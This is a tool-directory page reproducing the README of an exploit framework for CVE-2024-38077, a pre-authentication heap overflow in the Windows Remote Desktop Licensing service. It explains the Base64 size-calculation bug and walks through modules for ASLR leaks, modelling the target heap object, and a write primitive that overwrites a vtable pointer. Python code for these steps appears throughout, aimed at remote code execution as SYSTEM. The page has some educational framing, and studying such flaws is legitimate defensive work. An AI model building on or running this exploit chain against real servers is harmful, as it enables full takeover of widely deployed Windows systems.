Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-38077-MadLicense-exploit — Modular exploit framework for CVE-2024-38077 (Windows RDL heap overflow) with ASLR bypass, heap grooming, ROP chain generation, and DLL injection payloads for pre-auth remote code execution. | Kitploit
Tools/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
Exploit FrameworksVulnerability AnalysisExploitationReverse EngineeringShellcodePenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

Modular exploit framework for CVE-2024-38077 (Windows RDL heap overflow) with ASLR bypass, heap grooming, ROP chain generation, and DLL injection payloads for pre-auth remote code execution.

View Repository
1119 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-38077 MadLicense - Complete Exploitation Framework

📚 Technical Documentation for Presentation

This document explains each component of the framework, why it exists, and how the heap buffer overflow exploitation works in modern Windows.


🎯 What Is CVE-2024-38077?

The Vulnerability

Windows Remote Desktop Licensing Service (lserver.exe) contains a heap buffer overflow in the CDataCoding::DecodeData function.

┌─────────────────────────────────────────────────────────────┐
│  VULNERABILITY: Incorrect size calculation                  │
├─────────────────────────────────────────────────────────────┤
│  1. Client sends Base64 data of size N                      │
│  2. Server calculates: buffer_size = (N / 4) * 3            │
│  3. Server allocates buffer of 'buffer_size' bytes          │
│  4. Actual Base64 decode writes: ceil(N * 3/4) bytes        │
│  5. If N is not a multiple of 4: OVERFLOW!                  │
└─────────────────────────────────────────────────────────────┘

Concrete example:

  • Input: 4001 bytes
  • Server calculation: (4001 / 4) * 3 = 1000 * 3 = 3000 bytes allocated
  • Actual decode: ceil(4001 * 0.75) = 3001 bytes written
  • Overflow: 1 byte (but controllable for more)

Why Is It Critical?

  1. Pre-Auth: No credentials needed
  2. Remote: Over network, port 135 (RPC)
  3. SYSTEM: Service runs as NT AUTHORITY\SYSTEM
  4. Widespread: Windows Server 2000-2025 affected

🏗️ Framework Architecture

Module Overview

┌─────────────────────────────────────────────────────────────────┐
│                      EXPLOIT CHAIN                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG awareness)                   │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (Orchestrator)                          │
    └───────────────────────────────────────────────────────────┘

📦 Module 1: primitives.py - Foundation

What Is It?

Low-level utilities for memory manipulation.

Why Does It Exist?

Exploits need to:

  • Convert between types (int ↔ bytes)
  • Generate patterns for crash analysis
  • Align data correctly

Main Functions

# Pack/Unpack - Convert integers to bytes and vice versa
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# Cyclic Pattern - To identify crash offset
cyclic(100)          # Generates De Bruijn sequence
cyclic_find(pattern, value)  # Finds offset of value

# Alignment - Memory must be aligned
align(0x1003, 0x10)  # → 0x1010 (aligns to 16 bytes)

Why Does This Matter?

Real problem: You cause a crash and RIP contains 0x61616171.

  • Without cyclic: "Somewhere in my buffer..."
  • With cyclic: cyclic_find(pattern, 0x61616171) → exact offset!

📦 Module 2: leak.py - ASLR Bypass

What Is ASLR?

Address Space Layout Randomization: Every boot/execution, addresses change.

Boot 1:  ntdll.dll @ 0x7FFA12340000
Boot 2:  ntdll.dll @ 0x7FFB98760000
Boot 3:  ntdll.dll @ 0x7FFC55550000

Why Do We Need a Leak?

Without knowing where memory is:

  • We don't know where to place payload
  • We don't know the address of ROP gadgets
  • Any attempt = random crash

Module Structure

class LeakInfo:
    """Container for leaked addresses"""
    heap_base: int         # Heap base
    ntdll_base: int        # ntdll.dll base
    kernel32_base: int     # kernel32.dll base
    # ...

class LeakProvider:
    """Orchestrator for leak sources"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # Try each source until successful

Implemented Leak Sources

SourceHow It WorksWhen to Use
ManualLeakSourceUser provides addressesLab/Debug with target access
ResponseLeakSourceExtracts from RPC responsesIf service leaks pointers
TimingLeakSourceTiming side-channelTheoretical, very difficult

Why Manual Input?

In demos/labs, you can:

  1. Attach debugger to target
  2. See module base addresses
  3. Provide via --ntdll-base 0x7ffa...

This simulates having a real leak, allowing you to test the rest of the chain.


📦 Module 3: target_model.py - Target Mapping

What Is It?

Modeling of vulnerable and adjacent data structures.

Why Does It Exist?

Overflow ≠ Exploitation. We need to know:

  • What are we overwriting?
  • What is the object size?
  • Which field is useful to corrupt?

Components

class VulnerableBuffer:
    """The buffer that will overflow"""
    allocation_size: int   # How much was allocated
    write_size: int        # How much will be written
    overflow_amount: int   # Difference = overflow
    
    def calculate_overflow(input_size):
        # Simulates the calculation bug
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """Object that will be corrupted (adjacent on heap)"""
    fields: List[StructField]
    has_vtable: bool       # Has virtual table?
    has_function_ptr: bool # Has function pointer?

Example Target Structure

# Hypothetical object based on reverse engineering
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# Mapped fields
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

Why is_target=True?

Marks fields useful for exploitation:

  • vtable: If we overwrite it, we control method calls
  • callback: If we overwrite it, we control when callback is called

📦 Module 4: write_primitive.py - Controlled Write

The Problem

Overflow writes sequential data. But we need:

  • Write a specific value (address of our ROP)
  • At a specific offset (where the vtable pointer is)

The Solution

class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        Builds overflow buffer with precise values
        
        Layout:
        [PADDING until offset] [CONTROLLED VALUE] [MORE DATA]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # Place exact value at exact offset
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

Overwrite Types

# Overwrite vtable
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)
Download Tool